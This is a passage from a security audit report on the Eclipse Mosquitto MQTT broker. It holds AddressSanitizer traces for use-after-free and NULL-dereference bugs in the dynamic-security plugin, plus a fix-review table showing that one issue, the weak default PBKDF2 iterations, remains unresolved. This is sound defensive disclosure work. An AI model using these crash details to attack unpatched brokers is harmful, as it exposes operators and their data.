    #1 0x7faa0639ab18 in group__free_item
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:94:16
    #2 0x7faa0639a9b9 in dynsec_groups__cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:177:3
    #3 0x7faa063bb61c in mosquitto_plugin_cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:131:2
    #4 0x563951dd1da8 in plugin__unload_single
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:40:4
    #5 0x563951dd1b49 in plugin__unload_all
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:84:3
    #6 0x563951d1b4ad in mosquitto_fuzz_main
/home/ubuntu/contrib/mosquitto/src/mosquitto.c:509:2
    #7 0x563951d19ae5 in run_broker(void*)
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:35:
2
    #8 0x7faa06bd0b42 in start_thread nptl/pthread_create.c:442:8
    #9 0x7faa06c629ff  misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

0x6080000041a0 is located 0 bytes inside of 95-byte region
[0x6080000041a0,0x6080000041ff)
freed by thread T2 here:
    #0 0x563951cdf4f2 in free (/tmp/broker_fuzz_test_dynsec_config+0x1354f2)
(BuildId: 741e52ef4323eaad6125a498597335f75fe8cc6e)
    #1 0x563951d8b9dd in mosquitto__free
/home/ubuntu/contrib/mosquitto/src/../lib/memory_mosq.c:80:2
    #2 0x563951d8c0b4 in mosquitto_free
/home/ubuntu/contrib/mosquitto/src/memory_public.c:30:2
    #3 0x7faa0639b9be in group__free_item
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:102:2
    #4 0x7faa0639a9b9 in dynsec_groups__cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:177:3
    #5 0x7faa063bb61c in mosquitto_plugin_cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:131:2
    #6 0x563951dd1da8 in plugin__unload_single
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:40:4
    #7 0x563951dd1b49 in plugin__unload_all
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:84:3
    #8 0x563951d1b4ad in mosquitto_fuzz_main
/home/ubuntu/contrib/mosquitto/src/mosquitto.c:509:2
```

```
    #9 0x563951d19ae5 in run_broker(void*)
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:35:
2
    #10 0x7faa06bd0b42 in start_thread nptl/pthread_create.c:442:8

previously allocated by thread T2 here:
    #0 0x563951cdf988 in __interceptor_calloc
(/tmp/broker_fuzz_test_dynsec_config+0x135988) (BuildId:
741e52ef4323eaad6125a498597335f75fe8cc6e)
    #1 0x563951d8b87e in mosquitto__calloc
/home/ubuntu/contrib/mosquitto/src/../lib/memory_mosq.c:58:8
    #2 0x563951d8c054 in mosquitto_calloc
/home/ubuntu/contrib/mosquitto/src/memory_public.c:25:9
    #3 0x7faa0639bdde in dynsec_groups__config_load
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:221:12
    #4 0x7faa06391338 in dynsec__config_from_json
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/config.c:86:7
    #5 0x7faa063918b8 in dynsec__config_load
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/config.c:147:7
    #6 0x7faa063bb1c4 in mosquitto_plugin_init
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:74:2
    #7 0x563951eaca16 in plugin__load_v5
/home/ubuntu/contrib/mosquitto/src/plugin_v5.c:46:8
    #8 0x563951dd41f7 in plugin__load_single
/home/ubuntu/contrib/mosquitto/src/plugin_init.c:89:8
    #9 0x563951dd3c70 in plugin__load_all
/home/ubuntu/contrib/mosquitto/src/plugin_init.c:119:8
    #10 0x563951d1ab22 in mosquitto_fuzz_main
/home/ubuntu/contrib/mosquitto/src/mosquitto.c:415:7
    #11 0x563951d19ae5 in run_broker(void*)
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:35:
2
    #12 0x7faa06bd0b42 in start_thread nptl/pthread_create.c:442:8

Thread T2 created by T0 here:
    #0 0x563951cc852c in __interceptor_pthread_create
(/tmp/broker_fuzz_test_dynsec_config+0x11e52c) (BuildId:
741e52ef4323eaad6125a498597335f75fe8cc6e)
    #1 0x563951d1a1c4 in LLVMFuzzerTestOneInput
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:90:
2
    #2 0x563951c40cd2 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*,
unsigned long) (/tmp/broker_fuzz_test_dynsec_config+0x96cd2) (BuildId:
741e52ef4323eaad6125a498597335f75fe8cc6e)
    #3 0x563951c2ab50 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned
long) (/tmp/broker_fuzz_test_dynsec_config+0x80b50) (BuildId:
741e52ef4323eaad6125a498597335f75fe8cc6e)
    #4 0x563951c30817 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char
const*, unsigned long)) (/tmp/broker_fuzz_test_dynsec_config+0x86817) (BuildId:
741e52ef4323eaad6125a498597335f75fe8cc6e)
    #5 0x563951c59e32 in main (/tmp/broker_fuzz_test_dynsec_config+0xafe32)
(BuildId: 741e52ef4323eaad6125a498597335f75fe8cc6e)
```

```
    #6 0x7faa06b65d8f in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-use-after-free
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:83:3 in
dynsec_groups__find
Shadow bytes around the buggy address:
  0x0c107fff87e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c107fff87f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c107fff8800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x0c107fff8810: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8820: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c107fff8830: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fff8840: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 07
  0x0c107fff8850: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c107fff8860: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c107fff8870: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c107fff8880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==866817==ABORTING
```

Figure D.1: The AddressSanitizer report that uncovered an issue where duplicate group names cause use-after-free instances in `dynsec_groups__find` (TOB-MOSQ-CR-8)

```
=================================================================
==866822==ERROR: AddressSanitizer: heap-use-after-free on address 0x6120000100c0 at
pc 0x7f22c4a52b54 bp 0x7f22bf6ee150 sp 0x7f22bf6ee148
READ of size 8 at 0x6120000100c0 thread T2
    #0 0x7f22c4a52b53 in dynsec_clients__find
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/clients.c:70:3
    #1 0x7f22c4a53463 in client__free_item
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/clients.c:81:17
    #2 0x7f22c4a53341 in dynsec_clients__cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/clients.c:98:3
```

```
    #3 0x7f22c4a99628 in mosquitto_plugin_cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:132:2
    #4 0x56037e47bda8 in plugin__unload_single
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:40:4
    #5 0x56037e47bb49 in plugin__unload_all
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:84:3
    #6 0x56037e3c54ad in mosquitto_fuzz_main
/home/ubuntu/contrib/mosquitto/src/mosquitto.c:509:2
    #7 0x56037e3c3ae5 in run_broker(void*)
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:35:
2
    #8 0x7f22c5041b42 in start_thread nptl/pthread_create.c:442:8
    #9 0x7f22c50d39ff  misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

0x6120000100c0 is located 0 bytes inside of 262-byte region
[0x6120000100c0,0x6120000101c6)
freed by thread T2 here:
    #0 0x56037e3894f2 in free (/tmp/broker_fuzz_test_dynsec_config+0x1354f2)
(BuildId: 741e52ef4323eaad6125a498597335f75fe8cc6e)
    #1 0x56037e4359dd in mosquitto__free
/home/ubuntu/contrib/mosquitto/src/../lib/memory_mosq.c:80:2
    #2 0x56037e4360b4 in mosquitto_free
/home/ubuntu/contrib/mosquitto/src/memory_public.c:30:2
    #3 0x7f22c4a54358 in client__free_item
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/clients.c:90:2
    #4 0x7f22c4a53341 in dynsec_clients__cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/clients.c:98:3
    #5 0x7f22c4a99628 in mosquitto_plugin_cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:132:2
    #6 0x56037e47bda8 in plugin__unload_single
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:40:4
    #7 0x56037e47bb49 in plugin__unload_all
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:84:3
    #8 0x56037e3c54ad in mosquitto_fuzz_main
/home/ubuntu/contrib/mosquitto/src/mosquitto.c:509:2
    #9 0x56037e3c3ae5 in run_broker(void*)
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:35:
2
    #10 0x7f22c5041b42 in start_thread nptl/pthread_create.c:442:8

previously allocated by thread T2 here:
    #0 0x56037e389988 in __interceptor_calloc
(/tmp/broker_fuzz_test_dynsec_config+0x135988) (BuildId:
741e52ef4323eaad6125a498597335f75fe8cc6e)
    #1 0x56037e43587e in mosquitto__calloc
/home/ubuntu/contrib/mosquitto/src/../lib/memory_mosq.c:58:8
    #2 0x56037e436054 in mosquitto_calloc
/home/ubuntu/contrib/mosquitto/src/memory_public.c:25:9
    #3 0x7f22c4a547c9 in dynsec_clients__config_load
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/clients.c:141:13
    #4 0x7f22c4a6f300 in dynsec__config_from_json
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/config.c:85:7
```

```
    #5 0x7f22c4a6f8b8 in dynsec__config_load
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/config.c:147:7
    #6 0x7f22c4a991c4 in mosquitto_plugin_init
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:74:2
    #7 0x56037e556a16 in plugin__load_v5
/home/ubuntu/contrib/mosquitto/src/plugin_v5.c:46:8
    #8 0x56037e47e1f7 in plugin__load_single
/home/ubuntu/contrib/mosquitto/src/plugin_init.c:89:8
    #9 0x56037e47dc70 in plugin__load_all
/home/ubuntu/contrib/mosquitto/src/plugin_init.c:119:8
    #10 0x56037e3c4b22 in mosquitto_fuzz_main
/home/ubuntu/contrib/mosquitto/src/mosquitto.c:415:7
    #11 0x56037e3c3ae5 in run_broker(void*)
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:35:
2
    #12 0x7f22c5041b42 in start_thread nptl/pthread_create.c:442:8

Thread T2 created by T0 here:
    #0 0x56037e37252c in __interceptor_pthread_create
(/tmp/broker_fuzz_test_dynsec_config+0x11e52c) (BuildId:
741e52ef4323eaad6125a498597335f75fe8cc6e)
    #1 0x56037e3c41c4 in LLVMFuzzerTestOneInput
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:90:
2
    #2 0x56037e2eacd2 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*,
unsigned long) (/tmp/broker_fuzz_test_dynsec_config+0x96cd2) (BuildId:
741e52ef4323eaad6125a498597335f75fe8cc6e)
    #3 0x56037e2d4b50 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned
long) (/tmp/broker_fuzz_test_dynsec_config+0x80b50) (BuildId:
741e52ef4323eaad6125a498597335f75fe8cc6e)
    #4 0x56037e2da817 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char
const*, unsigned long)) (/tmp/broker_fuzz_test_dynsec_config+0x86817) (BuildId:
741e52ef4323eaad6125a498597335f75fe8cc6e)
    #5 0x56037e303e32 in main (/tmp/broker_fuzz_test_dynsec_config+0xafe32)
(BuildId: 741e52ef4323eaad6125a498597335f75fe8cc6e)
    #6 0x7f22c4fd6d8f in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-use-after-free
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/clients.c:70:3 in
dynsec_clients__find
Shadow bytes around the buggy address:
  0x0c247fff9fc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff9fd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff9fe0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff9ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fffa000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x0c247fffa010: fa fa fa fa fa fa fa fa[fd]fd fd fd fd fd fd fd
  0x0c247fffa020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c247fffa030: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
  0x0c247fffa040: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fffa050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fffa060: 00 00 00 00 00 00 00 00 06 fa fa fa fa fa fa fa
```

```
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==866822==ABORTING
```

Figure D.2: The AddressSanitizer report that uncovered an issue where duplicate client usernames cause use-after-free instances in `dynsec_clients__find` (TOB-MOSQ-CR-8)

E. TOB-MOSQ-CR-9 Crash Report

This appendix provides the AddressSanitizer crash report that uncovered finding TOB-MOSQ-CR-9.

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3313501==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc
0x7f38de77a9fa bp 0x7ffcb80cc930 sp 0x7ffcb80cc0b8 T0)
==3313501==The signal is caused by a READ memory access.
==3313501==Hint: address points to the zero page.
    #0 0x7f38de77a9fa  (/lib/x86_64-linux-gnu/libc.so.6+0xba9fa)
    #1 0x7f38def1b8ce in __interceptor_strdup
../../../../src/libsanitizer/asan/asan_interceptors.cpp:450
    #2 0x5596da5afd87 in mosquitto__strdup ../lib/memory_mosq.c:152
    #3 0x5596da5afec7 in mosquitto_strdup
/home/ubuntu/mosquitto/src/memory_public.c:45
    #4 0x7f38db69e6ed in dynsec_roles__config_load
/home/ubuntu/mosquitto/plugins/dynamic-security/roles.c:283
    #5 0x7f38db6712c8 in dynsec__config_from_json
/home/ubuntu/mosquitto/plugins/dynamic-security/config.c:84
    #6 0x7f38db6718b8 in dynsec__config_load
/home/ubuntu/mosquitto/plugins/dynamic-security/config.c:147
    #7 0x7f38db69b1c4 in mosquitto_plugin_init
/home/ubuntu/mosquitto/plugins/dynamic-security/plugin.c:74
    #8 0x5596da5e15bc in plugin__load_v5 /home/ubuntu/mosquitto/src/plugin_v5.c:46
    #9 0x5596da5e5aff in plugin__load_single
/home/ubuntu/mosquitto/src/plugin_init.c:89
    #10 0x5596da5e5cf9 in plugin__load_all
/home/ubuntu/mosquitto/src/plugin_init.c:119
    #11 0x5596da546953 in main /home/ubuntu/mosquitto/src/mosquitto.c:415
    #12 0x7f38de6e9d8f in __libc_start_call_main
../sysdeps/nptl/libc_start_call_main.h:58
    #13 0x7f38de6e9e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #14 0x5596da5453e4 in _start (/home/ubuntu/mosquitto/src/mosquitto_asan+0x243e4)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xba9fa)
==3313501==ABORTING
```

Figure E.1: The AddressSanitizer report that uncovered the NULL pointer dereference in `dynsec_roles__config_load` (TOB-MOSQ-CR-9)

F. Fix Review Results

When undertaking a fix review, Trail of Bits reviews the fixes implemented for issues identified in the original report. This work involves a review of specific areas of the source code and system configuration, not comprehensive analysis of the system.

On October 4, 2023, Trail of Bits reviewed the fixes and mitigations implemented by the Eclipse Mosquitto team for the issues identified in this report. We reviewed each fix to determine its effectiveness in resolving the associated issue.

In summary, of the 16 issues described in this report, Eclipse Mosquitto has resolved 13 issues, has partially resolved two issues, and has not resolved the remaining one issue. For additional information, please see the Detailed Fix Review Results below.

ID	Title	Status
1	Insufficient default number of PBKDF2 iterations	**Unresolved**
2	Improper implementation of constant-time comparison	**Partially Resolved**
3	mosquitto_passwd creates world-readable password files	**Resolved**
4	mosquitto_passwd trusts existing backup files	**Resolved**
5	Heap buffer overread issue in persist__chunk_client_write_v6	**Resolved**
6	mosquitto_ctrl dynsec init creates world-readable config	**Resolved**
7	Race condition in file existence check by mosquitto_ctrl dynsec init	**Resolved**
8	Use-after-free instances in dynsec_groups__find and dynsec_clients__find	**Resolved**

9	NULL pointer dereference in dynsec_roles__config_load	Resolved
10	Broker creates world-readable TLS key log files	Resolved
11	Broker trusts existing TLS key log files	Resolved
12	libmosquitto accepts wildcard certificates for public suffixes	Resolved
13	Username characters not validated when taken from client certificate	Resolved
14	Improper parsing of X-Forwarded-For header	Resolved
15	Logger registers with DLT when DLT is not a log destination	Resolved
16	Documentation recommends insecure encryption practices for TLS private key	Partially Resolved

Detailed Fix Review Results

TOB-MOSQ-CR-1: Insufficient default number of PBKDF2 iterations
Unresolved. The Mosquitto developers provided the following comment:

> *Unresolved, due to performance requirements, e.g. we must run on a 600MHz single core ARM with 128MB RAM.*

As this issue allows trivial brute-forcing of password hashes by default, even on devices with sufficient computing power to prevent such attacks, we recommend increasing the default number of iterations to at least 210,000, as recommended by OWASP.

TOB-MOSQ-CR-2: Improper implementation of constant-time comparison
Partially resolved in commit 67ac8cb. The `memcmp_const`, `pw__memcmp_const`, and `mosquitto__memcmp_const` functions now perform a bitwise XOR operation, instead of branching, to ensure constant-time comparison. This behavior is similar to that of one implementation of OpenSSL's `CRYPTO_memcmp` function.

However, unlike `CRYPTO_memcmp`, Mosquitto's functions do not declare local `volatile` pointers to the input arrays. According to a comment in the OpenSSL code, the use of `volatile` is necessary "to ensure that the compiler generates code that reads all values from the array and doesn't try to optimize this away. The standard doesn't actually require this behavior if the original data pointed to is not volatile, but compilers do this in practice anyway."

As a result, it may be possible for a compiler to optimize Mosquitto's constant-time comparison functions into versions that are not actually constant-time. We recommend either replacing these functions with calls to `CRYPTO_memcmp`, or using `volatile` pointers in the same way that `CRYPTO_memcmp` does, in order to prevent such optimization.

TOB-MOSQ-CR-3: mosquitto_passwd creates world-readable password files
Resolved in commit 4ca294f.

TOB-MOSQ-CR-4: mosquitto_passwd trusts existing backup files
Resolved in commit 44b9487.

TOB-MOSQ-CR-5: Heap buffer overread issue in persist__chunk_client_write_v6
Resolved in commit b1c29e8.

TOB-MOSQ-CR-6: mosquitto_ctrl dynsec init creates world-readable config
Resolved in commits 4ca294f and 3ab0a9a.

TOB-MOSQ-CR-7: Race condition in file existence check by mosquitto_ctrl dynsec init
Resolved in commit 3ab0a9a.

TOB-MOSQ-CR-8: Use-after-free instances in dynsec_groups__find and dynsec_clients__find
Resolved in commit b76c3c7.

TOB-MOSQ-CR-9: NULL pointer dereference in dynsec_roles__config_load
Resolved in commit 8bc0475.

TOB-MOSQ-CR-10: Broker creates world-readable TLS key log files
Resolved in commits 9be6aec and ce9e2d3.

TOB-MOSQ-CR-11: Broker trusts existing TLS key log files
Resolved in commits 9be6aec and fd4f4bc.

TOB-MOSQ-CR-12: libmosquitto accepts wildcard certificates for public suffixes
Resolved in commit 284db04.

TOB-MOSQ-CR-13: Username characters not validated when taken from client certificate
Resolved in commit 02d36f9.

TOB-MOSQ-CR-14: Improper parsing of X-Forwarded-For header
Resolved in commit 5c135a2.

TOB-MOSQ-CR-15: Logger registers with DLT when DLT is not a log destination
Resolved in commit 3fc7dce.

TOB-MOSQ-CR-16: Documentation recommends insecure encryption practices for TLS private key
Partially resolved in commit fa9979c. The man page no longer provides an `openssl` command to generate a 3DES-encrypted private key, but it still provides an `openssl` command to generate a private key without any encryption. We recommend removing this example in order to encourage secure key storage practices.

G. Fix Review Status Categories

The following table describes the statuses used to indicate whether an issue has been sufficiently addressed.

Fix Status	
Status	Description
Undetermined	The status of the issue was not determined during this engagement.
Unresolved	The issue persists and has not been resolved.
Partially Resolved	The issue persists but has been partially resolved.
Resolved	The issue has been sufficiently resolved.